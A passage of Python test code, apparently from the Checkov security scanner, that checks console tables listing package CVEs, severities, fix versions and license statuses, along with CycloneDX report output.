create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, vulnerability_details=details, licenses='Unknown', package={'package_registry': "https://registry.npmjs.org/", 'is_private_registry': False}, root_package={'name': "django", 'version': "1.2"}, used_private_registry=False ) for details in get_vulnerabilities_details() ] cli_output = create_cli_output(True, cves_records) # then assert cli_output == "".join( [ "\t/requirements.txt - CVEs Summary:\n", "\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\n", "\t│ Total CVEs: 2 │ critical: 1 │ high: 0 │ medium: 1 │ low: 0 │ skipped: 0 │ Total Packages Used: │\n" "\t│ │ │ │ │ │ │ 0 │\n" "\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\n" "\t│ To fix 2/2 CVEs, go to your Prisma Cloud account │\n" "\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\n" "\t│ Package │ CVE ID │ Severity │ Current version │ Root fixed version │ Compliant version │ Reachability │\n" "\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n" "\t│ django │ CVE-2019-19844 │ CRITICAL │ 1.2 │ 1.11.27 │ 1.11.27 │ │\n" "\t│ │ CVE-2016-6186 │ MEDIUM │ │ 1.8.14 │ │ │\n" "\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\n" ] ) def test_create_cli_output_without_cve_records(): # given rootless_file_path = "requirements.txt" file_abs_path = "/path/to/requirements.txt" check_class = "checkov.sca_package_2.scanner.Scanner" license_statuses = [ { "package_name": "django", "package_version": "1.2", "license": "DUMMY_LICENSE", "status": "OPEN", "policy": "BC_LIC_1" }, { "package_name": "flask", "package_version": "0.6", "license": "DUMMY_OTHER_LICENSE", # not a real license. it is just for test a package with 2 licenses "status": "OPEN", "policy": "BC_LIC_1" } ] # when license_records = [ create_report_license_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, licenses_status=license_status, package={'package_registry': "https://registry.npmjs.org/", 'is_private_registry': False}, ) for license_status in license_statuses ] cli_output = create_cli_output(True, license_records) # then assert cli_output == "".join( [ "\t/requirements.txt - Licenses Statuses:\n", "\t┌────────────────────────────────┬────────────────────────────────┬────────────────────────────────┬────────────────────────────────────┐\n", "\t│ Package name │ Package version │ Policy ID │ License │\n", "\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\n", "\t│ django │ 1.2 │ BC_LIC_1 │ DUMMY_LICENSE │\n", "\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\n", "\t│ flask │ 0.6 │ BC_LIC_1 │ DUMMY_OTHER_LICENSE │\n", "\t└────────────────────────────────┴────────────────────────────────┴────────────────────────────────┴────────────────────────────────────┘\n", ] ) def test_create_cli_table_for_sca_package_with_dependencies(): # given rootless_file_path = "package-lock.json" file_abs_path = "/path/to/package-lock.json" check_class = "checkov.sca_package_2.scanner.Scanner" # when cves_records = [ create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, vulnerability_details=details["details"], licenses='Unknown', package={'package_registry': "https://registry.npmjs.org/", 'is_private_registry': False}, root_package={'name': details["root_package_name"], 'version': details["root_package_version"]}, used_private_registry=False, root_package_cve={'fixVersion': details.get('root_package_fix_version')} ) for details in get_vulnerabilities_details_package_json() ] cli_output = create_cli_output(True, cves_records) # then assert cli_output == "".join([ "\t/package-lock.json - CVEs Summary:\n", '\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\n', '\t│ Total CVEs: 26 │ critical: 4 │ high: 10 │ medium: 11 │ low: 1 │ skipped: 0 │ Total Packages Used: │\n', '\t│ │ │ │ │ │ │ 0 │\n', '\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\n', '\t│ To fix 24/26 CVEs, go to your Prisma Cloud account │\n', '\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\n', "\t│ Package │ CVE ID │ Severity │ Current version │ Root fixed version │ Compliant version │ Reachability │\n", '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ cypress │ PRISMA-2021-0070 │ MEDIUM │ 3.8.3 │ 7.2.0 │ 7.2.0 │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ forever │ │ │ 2.0.0 │ │ N/A │ │\n', '\t│ ├─ decode-uri- │ CVE-2022-38900 │ LOW │ 0.2.0 │ │ │ │\n', '\t│ component │ │ │ │ │ │ │\n', '\t│ ├─ glob-parent │ CVE-2020-28469 │ HIGH │ 3.1.0 │ │ │ │\n', '\t│ ├─ minimist │ CVE-2021-44906 │ CRITICAL │ 0.0.10 │ │ │ │\n', '\t│ │ │ CVE-2020-7598 │ MEDIUM │ │ │ │ │\n', '\t│ ├─ minimist │ CVE-2021-44906 │ CRITICAL │ 1.2.5 │ │ │ │\n', '\t│ ├─ nconf │ CVE-2022-21803 │ HIGH │ 0.10.0 │ │ │ │\n', '\t│ ├─ nconf │ CVE-2022-21803 │ HIGH │ 0.6.9 │ │ │ │\n', '\t│ └─ unset-value │ PRISMA-2022-0049 │ HIGH │ 1.0.0 │ │ │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ grunt │ CVE-2022-1537 │ HIGH │ 1.4.1 │ 1.5.3 │ 1.5.3 │ │\n', '\t│ │ CVE-2022-0436 │ MEDIUM │ │ 1.5.2 │ │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ helmet │ GHSA-C3M8-X3CG-QM2C │ MEDIUM │ 2.3.0 │ 2.4.0 │ 2.4.0 │ │\n', '\t│ ├─ debug │ CVE-2017-16137 │ MEDIUM │ 2.2.0 │ 2.4.0 │ │ │\n', '\t│ └─ helmet-csp │ GHSA-C3M8-X3CG-QM2C │ MEDIUM │ 1.2.2 │ │ │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ marked │ CVE-2022-21681 │ HIGH │ 0.3.9 │ 4.0.10 │ 4.0.10 │ │\n', '\t│ │ CVE-2022-21680 │ HIGH │ │ 4.0.10 │ │ │\n', '\t│ │ PRISMA-2021-0013 │ MEDIUM │ │ 1.1.1 │ │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ mocha │ PRISMA-2022-0230 │ HIGH │ 2.5.3 │ N/A │ N/A │ │\n', '\t│ │ PRISMA-2022-0335 │ MEDIUM │ │ N/A │ │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ mongodb │ GHSA-MH5C-679W-HH4R │ HIGH │ 2.2.36 │ 3.1.13 │ 3.1.13 │ │\n', '\t│ └─ bson │ CVE-2020-7610 │ CRITICAL │ 1.0.9 │ │ │ │\n', '\t│ │ CVE-2019-2391 │ MEDIUM │ │ │ │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ swig │ │ │ 1.4.2 │ │ N/A │ │\n', '\t│ ├─ minimist │ CVE-2021-44906 │ CRITICAL │ 0.0.10 │ │ │ │\n', '\t│ │ │ CVE-2020-7598 │ MEDIUM │ │ │ │ │\n', '\t│ └─ uglify-js │ CVE-2015-8858 │ HIGH │ 2.4.24 │ │ │ │\n', '\t│ │ PRISMA-2021-0169 │ MEDIUM │ │ │ │ │\n', '\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\n' ]) def test_create_cli_output_without_dependencies(): # given rootless_file_path = "package.json" file_abs_path = "/path/to/package.json" check_class = "checkov.sca_package_2.scanner.Scanner" # when cves_records = [ create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, vulnerability_details=details, licenses='Unknown', package={'package_registry': "https://registry.npmjs.org/", 'is_private_registry': False}, root_package={'name': details["packageName"], 'version': details["packageVersion"]}, used_private_registry=False ) for details in get_vulnerabilities_details_no_deps() ] cli_output = create_cli_output(True, cves_records) # then assert cli_output == "".join( ["\t/package.json - CVEs Summary:\n", '\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\n', '\t│ Total CVEs: 3 │ critical: 0 │ high: 2 │ medium: 1 │ low: 0 │ skipped: 0 │ Total Packages Used: │\n', '\t│ │ │ │ │ │ │ 0 │\n', '\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\n', '\t│ To fix 3/3 CVEs, go to your Prisma Cloud account │\n', '\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\n', "\t│ Package │ CVE ID │ Severity │ Current version │ Root fixed version │ Compliant version │ Reachability │\n", '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ marked │ CVE-2022-21681 │ HIGH │ 0.3.9 │ 4.0.10 │ 4.0.10 │ │\n', '\t│ │ CVE-2022-21680 │ HIGH │ │ 4.0.10 │ │ │\n', '\t│ │ PRISMA-2021-0013 │ MEDIUM │ │ 1.1.1 │ │ │\n', '\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\n' ] ) def test_create_cli_table_for_package_with_diff_CVEs(): # given rootless_file_path = "package-lock.json" file_abs_path = "/path/to/package-lock.json" check_class = "checkov.sca_package_2.scanner.Scanner" # when cves_records = [ create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, vulnerability_details=details["details"], licenses='Unknown', package={'package_registry': "https://registry.npmjs.org/", 'is_private_registry': False}, root_package={'name': details["root_package_name"], 'version': details["root_package_version"]}, used_private_registry=False, root_package_cve={'fixVersion': details.get('root_package_fix_version')} ) for details in get_vulnerabilities_details_package_lock_json() ] cli_output = create_cli_output(True, cves_records) # then assert cli_output == "".join([ "\t/package-lock.json - CVEs Summary:\n", '\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\n', '\t│ Total CVEs: 27 │ critical: 4 │ high: 11 │ medium: 11 │ low: 1 │ skipped: 0 │ Total Packages Used: │\n', '\t│ │ │ │ │ │ │ 0 │\n', '\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\n', '\t│ To fix 25/27 CVEs, go to your Prisma Cloud account │\n', '\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\n', "\t│ Package │ CVE ID │ Severity │ Current version │ Root fixed version │ Compliant version │ Reachability │\n", '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ cypress │ PRISMA-2021-0070 │ MEDIUM │ 3.8.3 │ 7.2.0 │ 7.2.0 │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ forever │ │ │ 2.0.0 │ │ N/A │ │\n', '\t│ ├─ decode-uri- │ CVE-2022-38900 │ LOW │ 0.2.0 │ │ │ │\n', '\t│ component │ │ │ │ │ │ │\n', '\t│ ├─ glob-parent │ CVE-2020-28469 │ HIGH │ 3.1.0 │ │ │ │\n', '\t│ ├─ minimist │ CVE-2021-44906 │ CRITICAL │ 0.0.10 │ │ │ │\n', '\t│ │ │ CVE-2020-7598 │ MEDIUM │ │ │ │ │\n', '\t│ ├─ minimist │ CVE-2021-44906 │ CRITICAL │ 1.2.5 │ │ │ │\n', '\t│ ├─ nconf │ CVE-2022-21803 │ HIGH │ 0.10.0 │ │ │ │\n', '\t│ ├─ nconf │ CVE-2022-21803 │ HIGH │ 0.6.9 │ │ │ │\n', '\t│ │ │ CVE-2002-21803 │ HIGH │ │ │ │ │\n', '\t│ └─ unset-value │ PRISMA-2022-0049 │ HIGH │ 1.0.0 │ │ │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ grunt │ CVE-2022-1537 │ HIGH │ 1.4.1 │ 1.5.3 │ 1.5.3 │ │\n', '\t│ │ CVE-2022-0436 │ MEDIUM │ │ 1.5.2 │ │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ helmet │ GHSA-C3M8-X3CG-QM2C │ MEDIUM │ 2.3.0 │ 2.4.0 │ 2.4.0 │ │\n', '\t│ ├─ debug │ CVE-2017-16137 │ MEDIUM │ 2.2.0 │ 2.4.0 │ │ │\n', '\t│ └─ helmet-csp │ GHSA-C3M8-X3CG-QM2C │ MEDIUM │ 1.2.2 │ │ │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ marked │ CVE-2022-21681 │ HIGH │ 0.3.9 │ 4.0.10 │ 4.0.10 │ │\n', '\t│ │ CVE-2022-21680 │ HIGH │ │ 4.0.10 │ │ │\n', '\t│ │ PRISMA-2021-0013 │ MEDIUM │ │ 1.1.1 │ │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ mocha │ PRISMA-2022-0230 │ HIGH │ 2.5.3 │ N/A │ N/A │ │\n', '\t│ │ PRISMA-2022-0335 │ MEDIUM │ │ N/A │ │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ mongodb │ GHSA-MH5C-679W-HH4R │ HIGH │ 2.2.36 │ 3.1.13 │ 3.1.13 │ │\n', '\t│ └─ bson │ CVE-2020-7610 │ CRITICAL │ 1.0.9 │ │ │ │\n', '\t│ │ CVE-2019-2391 │ MEDIUM │ │ │ │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ swig │ │ │ 1.4.2 │ │ N/A │ │\n', '\t│ ├─ minimist │ CVE-2021-44906 │ CRITICAL │ 0.0.10 │ │ │ │\n', '\t│ │ │ CVE-2020-7598 │ MEDIUM │ │ │ │ │\n', '\t│ └─ uglify-js │ CVE-2015-8858 │ HIGH │ 2.4.24 │ │ │ │\n', '\t│ │ PRISMA-2021-0169 │ MEDIUM │ │ │ │ │\n', '\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\n']) def test_create_cli_table_for_package_with_reachability_data(): # given rootless_file_path = "requirements.txt" file_abs_path = "/path/to/requirements.txt" check_class = "checkov.sca_package_2.scanner.Scanner" # when cves_records = [ create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, vulnerability_details=details, licenses='Unknown', package={'package_registry': "https://registry.npmjs.org/", 'is_private_registry': False}, root_package={'name': details["packageName"], 'version': details["packageVersion"]}, used_private_registry=False ) for details in get_vulnerabilities_details_is_used_packages() ] cli_output = create_cli_output(True, cves_records) with open(os.path.join(CLI_OUTPUTS_DIR, "test_create_cli_table_for_package_with_reachability_data.txt")) as f: expected_cli_output = f.read() assert expected_cli_output == cli_output ================================================ FILE: tests/sca_package_2/test_output_reports.py ================================================ import json import xml import xml.dom.minidom import os from operator import itemgetter from pathlib import Path from typing import List import pytest from pytest_mock import MockerFixture from checkov.common.bridgecrew.check_type import CheckType from checkov.common.output.csv import CSVSBOM, FILE_NAME_OSS_PACKAGES from checkov.common.output.cyclonedx import CycloneDX from checkov.common.output.sarif import Sarif EXAMPLES_DIR = Path(__file__).parent / "examples" OUTPUTS_DIR = Path(__file__).parent / "outputs" @pytest.mark.parametrize("env_value, expected_result", [ ("value1", "result1"), ("value2", "result2"), ("value3", "result3"), ]) def test_env_var(monkeypatch, env_value, expected_result): monkeypatch.setenv("MY_ENV_VAR", env_value) # Simulate your function that depends on the env var result = some_function_relying_on_env() assert result == expected_result def some_function_relying_on_env(): value = os.getenv("MY_ENV_VAR") if value == "value1": return "result1" elif value == "value2": return "result2" elif value == "value3": return "result3" return "default" def _get_deterministic_items_in_cyclonedx(pretty_xml_as_list: List[str]) -> List[str]: # the lines with the fields "serialNumber", "bom-ref" and "timestamp" contain some not-deterministic data (uuids, # timestamp). so we skip these lines by the first 'if when checking whether we get the expected results # in addition also the line that display the checkov version may be changeable, so we skip it as well # (in the second 'if') black_list_words = ["bom-ref", "serialNumber", "timestamp", "bom", "xml"] filtered_list = [] for i, line in enumerate(pretty_xml_as_list): if not any(word in line for word in black_list_words): if i == 0 or not any(tool_name in pretty_xml_as_list[i - 1] for tool_name in ("checkov", "cyclonedx-python-lib")): filtered_list.append( line.replace('"', '\"')) # fixes differences in xml prettyprint between python 3.12 and 3.13 return filtered_list def test_console_output(mocker, sca_package_2_report): console_output = sca_package_2_report.print_console(False, False, None, None, False) # then assert console_output == "".join( [ 'sca_package scan results:\n', '\n', 'Failed checks: 7, Skipped checks: 3\n', '\n', '\t/requirements.txt - CVEs Summary:\n', '\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\n', '\t│ Total CVEs: 6 │ critical: 1 │ high: 2 │ medium: 1 │ low: 0 │ skipped: 2 │ Total Packages Used: │\n', '\t│ │ │ │ │ │ │ 0 │\n', '\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\n', '\t│ To fix 4/4 CVEs, go to your Prisma Cloud account │\n', '\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\n', "\t│ Package │ CVE ID │ Severity │ Current version │ Root fixed version │ Compliant version │ Reachability │\n", '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ flask │ CVE-2018-1000656 │ HIGH │ 0.6 │ 0.12.3 │ 0.12.3 │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ django │ CVE-2019-19844 │ CRITICAL │ 1.2 │ 1.11.27 │ 2.2.24 │ │\n', '\t│ │ CVE-2016-7401 │ HIGH │ │ 1.8.15 │ │ │\n', '\t│ │ CVE-2021-33203 │ MEDIUM │ │ 2.2.24 │ │ │\n', '\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\n', "\n", "\t/requirements.txt - Licenses Statuses:\n", '\t┌────────────────────────────────┬────────────────────────────────┬────────────────────────────────┬────────────────────────────────────┐\n', "\t│ Package name │ Package version │ Policy ID │ License │\n", '\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\n', '\t│ flask │ 0.6 │ BC_LIC_1 │ DUMMY_OTHER_LICENSE │\n', '\t└────────────────────────────────┴────────────────────────────────┴────────────────────────────────┴────────────────────────────────────┘\n', "\n", "\t/path/to/go.sum - CVEs Summary:\n", '\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\n', '\t│ Total CVEs: 2 │ critical: 0 │ high: 2 │ medium: 0 │ low: 0 │ skipped: 0 │ Total Packages Used: │\n', '\t│ │ │ │ │ │ │ 0 │\n', '\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\n', '\t│ To fix 2/2 CVEs, go to your Prisma Cloud account │\n', '\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\n', "\t│ Package │ CVE ID │ Severity │ Current version │ Root fixed version │ Compliant version │ Reachability │\n", '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ golang.org/x/crypto │ CVE-2020-29652 │ HIGH │ v0.0.1 │ 0.0.2 │ 0.0.2 │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ github.com/dgrijalva │ CVE-2020-26160 │ HIGH │ v3.2.0 │ 4.0.0rc1 │ 4.0.0rc1 │ │\n', '\t│ /jwt-go │ │ │ │ │ │ │\n', '\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\n', ] ) def test_console_output_in_tty(mocker: MockerFixture, sca_package_2_report): # simulate a tty call by enforcing color mocker.patch.dict(os.environ, {"FORCE_COLOR": "True"}) console_output = sca_package_2_report.print_console(False, False, None, None, False) # then assert console_output == "".join( [ '\x1b[34msca_package scan results:\n', '\x1b[0m\x1b[36m\n', 'Failed checks: 7, Skipped checks: 3\n', '\n', '\x1b[0m\t/requirements.txt - CVEs Summary:\n', '\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\n', '\t│ Total CVEs: 6 │ critical: 1 │ high: 2 │ medium: 1 │ low: 0 │ skipped: 2 │ Total Packages Used: │\n', '\t│ │ │ │ │ │ │ 0 │\n', '\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\n', '\t│ To fix 4/4 CVEs, go to your Prisma Cloud account │\n', '\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\n', "\t│ Package │ CVE ID │ Severity │ Current version │ Root fixed version │ Compliant version │ Reachability │\n", '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ flask │ CVE-2018-1000656 │ HIGH │ 0.6 │ 0.12.3 │ 0.12.3 │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ django │ CVE-2019-19844 │ CRITICAL │ 1.2 │ 1.11.27 │ 2.2.24 │ │\n', '\t│ │ CVE-2016-7401 │ HIGH │ │ 1.8.15 │ │ │\n', '\t│ │ CVE-2021-33203 │ MEDIUM │ │ 2.2.24 │ │ │\n', '\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\n', "\n", "\t/requirements.txt - Licenses Statuses:\n", '\t┌────────────────────────────────┬────────────────────────────────┬────────────────────────────────┬────────────────────────────────────┐\n', "\t│ Package name │ Package version │ Policy ID │ License │\n", '\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\n', '\t│ flask │ 0.6 │ BC_LIC_1 │ DUMMY_OTHER_LICENSE │\n', '\t└────────────────────────────────┴────────────────────────────────┴────────────────────────────────┴────────────────────────────────────┘\n', "\n", "\t/path/to/go.sum - CVEs Summary:\n", '\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\n', '\t│ Total CVEs: 2 │ critical: 0 │ high: 2 │ medium: 0 │ low: 0 │ skipped: 0 │ Total Packages Used: │\n', '\t│ │ │ │ │ │ │ 0 │\n', '\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\n', '\t│ To fix 2/2 CVEs, go to your Prisma Cloud account │\n', '\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\n', "\t│ Package │ CVE ID │ Severity │ Current version │ Root fixed version │ Compliant version │ Reachability │\n", '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ golang.org/x/crypto │ CVE-2020-29652 │ HIGH │ v0.0.1 │ 0.0.2 │ 0.0.2 │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ github.com/dgrijalva │ CVE-2020-26160 │ HIGH │ v3.2.0 │ 4.0.0rc1 │ 4.0.0rc1 │ │\n', '\t│ /jwt-go │ │ │ │ │ │ │\n', '\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\n', ] ) @pytest.mark.parametrize("cyclone_format", [ "1.0", "1.1", "1.2", "1.3", "1.4" ]) def test_get_cyclonedx_report(sca_package_2_report, tmp_path: Path, cyclone_format, monkeypatch): monkeypatch.setenv("CHECKOV_CYCLONEDX_SCHEMA_VERSION", cyclone_format) cyclonedx_reports = [sca_package_2_report] cyclonedx = CycloneDX(repo_id="bridgecrewio/example", reports=cyclonedx_reports) cyclonedx_output = cyclonedx.get_xml_output() pretty_xml_as_string = str(xml.dom.minidom.parseString(cyclonedx_output).toprettyxml()) with open(os.path.join(OUTPUTS_DIR, f"results_cyclonedx_{cyclone_format.replace('.', '_')}.xml")) as f_xml: expected_pretty_xml = f_xml.read() actual_pretty_xml_as_list = _get_deterministic_items_in_cyclonedx(pretty_xml_as_string.split("\n")) expected_pretty_xml_as_list = _get_deterministic_items_in_cyclonedx(expected_pretty_xml.split("\n")) assert '\n'.join(actual_pretty_xml_as_list) == '\n'.join(expected_pretty_xml_as_list) def test_get_cyclonedx_report_with_licenses_with_comma(sca_package_report_2_with_comma_in_licenses, tmp_path: Path): cyclonedx_reports = [sca_package_report_2_with_comma_in_licenses] cyclonedx = CycloneDX(repo_id="bridgecrewio/example", reports=cyclonedx_reports) cyclonedx_output = cyclonedx.get_xml_output() pretty_xml_as_string = str(xml.dom.minidom.parseString(cyclonedx_output).toprettyxml()) with open(os.path.join(OUTPUTS_DIR, "results_cyclonedx_with_comma_in_licenses.xml")) as f_xml: expected_pretty_xml = f_xml.read() actual_pretty_xml_as_list = _get_deterministic_items_in_cyclonedx(pretty_xml_as_string.split("\n")) expected_pretty_xml_as_list = _get_deterministic_items_in_cyclonedx(expected_pretty_xml.split("\n")) print(actual_pretty_xml_as_list) return assert actual_pretty_xml_as_list == expected_pretty_xml_as_list def test_get_cyclonedx_json_report_with_licenses_with_comma(tmp_path: Path, sca_package_report_2_with_comma_in_licenses): # given cyclonedx_reports = [sca_package_report_2_with_comma_in_licenses] cyclonedx = CycloneDX(repo_id="bridgecrewio/example", reports=cyclonedx_reports) # when output = json.loads(cyclonedx.get_json_output()) # then assert output["$schema"] == "http://cyclonedx.org/schema/bom-1.4.schema.json" assert len(output["components"]) == 8 assert len(output["dependencies"]) == 8 assert len(output["vulnerabilities"]) == 8 assert sorted(output["components"], key=itemgetter("purl")) == sorted([ { "type": "library", "bom-ref": "pkg:pypi/bridgecrewio/example/path/to/requirements.txt/django@1.2", "name": "django", "version": "1.2", "licenses": [{"license": {"name": "OSI_BDS"}}], "purl": "pkg:pypi/bridgecrewio/example/path/to/requirements.txt/django@1.2", }, { "type": "library", "bom-ref": "pkg:pypi/bridgecrewio/example/path/to/requirements.txt/flask@0.6", "name": "flask", "version": "0.6", "licenses": [ {"license": {"name": "DUMMY_OTHER_LICENSE, ANOTHER_DOMMY_LICENSE"}}, {"license": {"name": "OSI_APACHE"}}, ], "purl": "pkg:pypi/bridgecrewio/example/path/to/requirements.txt/flask@0.6", }, { "type": "library", "bom-ref": "pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0", "name": "github.com/dgrijalva/jwt-go", "version": "v3.2.0", "licenses": [{"license": {"name": "Unknown"}}], "purl": "pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0", }, { "type": "library", "bom-ref": "pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41", "name": "github.com/miekg/dns", "version": "v1.1.41", "licenses": [{"license": {"name": "Unknown"}}], "purl": "pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41", }, { "type": "library", "bom-ref": "pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90", "name": "github.com/prometheus/client_model", "version": "v0.0.0-20190129233127-fd36f4220a90", "licenses": [{"license": {"name": "Unknown"}}], "purl": "pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90", }, { "type": "library", "bom-ref": "pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1", "name": "golang.org/x/crypto", "version": "v0.0.1", "licenses": 